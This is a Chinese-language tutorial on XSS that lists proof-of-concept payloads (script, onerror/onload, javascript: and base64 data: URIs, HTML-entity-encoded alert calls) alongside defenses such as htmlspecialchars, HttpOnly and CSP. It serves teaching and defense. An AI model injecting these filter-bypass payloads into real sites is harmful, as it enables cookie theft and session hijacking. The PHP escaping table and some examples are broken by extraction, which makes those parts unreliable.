XSS编码绕过和防御
字数 1133 2025-08-15 21:31:32

XSS编码绕过与防御技术详解

第一部分:XSS测试语句与攻击向量

1.1 基础XSS测试语句

<script>alert(1)</script>  // 基础弹窗测试
<script>alert(document.cookie)</script>  // 获取cookie

<script src=x onerror=alert(1)></script>  // 资源加载失败触发
<svg onload=alert(1)>  // SVG图形加载触发
<video src=1 onerror=alert(1)>  // 视频加载失败触发
<audio src=1 onerror=alert(1)>  // 音频加载失败触发
<a href=javascript:alert(1)></a>  // JavaScript伪协议触发

1.2 XSS攻击思路分类

标签外XSS

  • 需要构造完整JS标签
  • 示例:
<p>hello <script type="text/javascript">alert('html标签外XSS')</script></p>

标签内XSS

  • 需要闭合当前标签并构造事件属性
  • 示例场景:
<body {构造事件payload}>

<input type="text" name="" value="{payload}">

1.3 CSS触发XSS

<body style="background:url('javascript:alert("xxxx")')">  <!-- IE9/7/10有效 -->
  <!-- IE9有效 -->
<style>body{xss:expression(alert('body_xss'));}</style>  <!-- IE9有效 -->

1.4 Script标签内XSS

<script>
var x = 'hello'</script><script>alert(111)</script>';
</script>

1.5 JavaScript伪协议

<iframe src="javascript:alert(111)"></iframe>
<a href="javascript:alert(111)">aaa</a>

第二部分:编码绕过技术

2.1 编码类型概述

  1. URL编码:%20(空格)
  2. HTML编码:&lt;(<)
  3. JavaScript编码:八进制\074、十六进制\x3c、Unicode\u003c
  4. Base64编码:配合data协议使用

2.2 HTML实体编码

  • 十进制:&#97;&#108;&#101;&#114;&#116;(1) → alert(1)
  • 十六进制:&#x61;&#x6c;&#x65;&#x72;&#x74;(1) → alert(1)

2.3 JavaScript编码

  • Unicode编码示例:

2.4 Base64与Data协议

Base64编码示例

  • <script>alert(1)</script>PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  • `` → PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==

Data协议格式

data:[<MIME-type>][;charset=<encoding>][;base64],<data>

应用示例

<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">XSS</a>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>

第三部分:XSS防御技术

3.1 防御策略

  1. 输入过滤

    • 白名单过滤(推荐):只允许预定义的安全字符
    • 黑名单过滤:禁止已知危险字符
  2. 输出编码

    • 对输出到HTML的内容进行编码转换
  3. HTTP-only Cookie

    • 设置HttpOnly标志防止JS读取cookie

3.2 防御函数

1. htmlspecialchars()

$str = "<script>alert(document.cookie)</script>";
echo htmlspecialchars($str, ENT_QUOTES);
  • 转换规则:
    • & → &
    • " → "
    • ' → '
    • < → <
    • → >

2. htmlentities()

$str = "Bill & 'Steve'";
echo htmlentities($str, ENT_QUOTES);

3. strip_tags()

echo strip_tags("Hello <b>world!</b>");  // 输出: Hello world!
$str = "<script>alert(document.cookie);</script>";
echo strip_tags($str);  // 输出: alert(document.cookie);

3.3 其他防御建议

  1. 内容安全策略(CSP):

    • 限制脚本来源
    • 禁止内联脚本执行
  2. 输入验证:

    • 对用户输入进行严格验证
    • 使用正则表达式过滤特殊字符
  3. 输出编码上下文感知:

    • HTML上下文使用HTML编码
    • JavaScript上下文使用JS编码
    • URL上下文使用URL编码
  4. 框架安全特性:

    • 使用现代框架(如React、Angular)的内置XSS防护
    • 避免直接使用innerHTML等危险API
  5. 定期安全审计:

    • 检查应用程序中的潜在XSS漏洞
    • 使用自动化扫描工具辅助检测
XSS编码绕过与防御技术详解 第一部分:XSS测试语句与攻击向量 1.1 基础XSS测试语句 1.2 XSS攻击思路分类 标签外XSS 需要构造完整JS标签 示例: 标签内XSS 需要闭合当前标签并构造事件属性 示例场景: 1.3 CSS触发XSS 1.4 Script标签内XSS 1.5 JavaScript伪协议 第二部分:编码绕过技术 2.1 编码类型概述 URL编码: %20 (空格) HTML编码: &lt; ( <) JavaScript编码:八进制 \074 、十六进制 \x3c 、Unicode \u003c Base64编码:配合data协议使用 2.2 HTML实体编码 十进制: &#97;&#108;&#101;&#114;&#116;(1) → alert(1) 十六进制: &#x61;&#x6c;&#x65;&#x72;&#x74;(1) → alert(1) 2.3 JavaScript编码 Unicode编码示例: 2.4 Base64与Data协议 Base64编码示例 <script>alert(1)</script> → PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg== `` → PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg== Data协议格式 data:[<MIME-type>][;charset=<encoding>][;base64],<data> 应用示例 第三部分:XSS防御技术 3.1 防御策略 输入过滤 : 白名单过滤(推荐):只允许预定义的安全字符 黑名单过滤:禁止已知危险字符 输出编码 : 对输出到HTML的内容进行编码转换 HTTP-only Cookie : 设置 HttpOnly 标志防止JS读取cookie 3.2 防御函数 1. htmlspecialchars() 转换规则: & → &amp; " → &quot; ' → &#039; < → &lt; → &gt; 2. htmlentities() 3. strip_ tags() 3.3 其他防御建议 内容安全策略(CSP): 限制脚本来源 禁止内联脚本执行 输入验证: 对用户输入进行严格验证 使用正则表达式过滤特殊字符 输出编码上下文感知: HTML上下文使用HTML编码 JavaScript上下文使用JS编码 URL上下文使用URL编码 框架安全特性: 使用现代框架(如React、Angular)的内置XSS防护 避免直接使用innerHTML等危险API 定期安全审计: 检查应用程序中的潜在XSS漏洞 使用自动化扫描工具辅助检测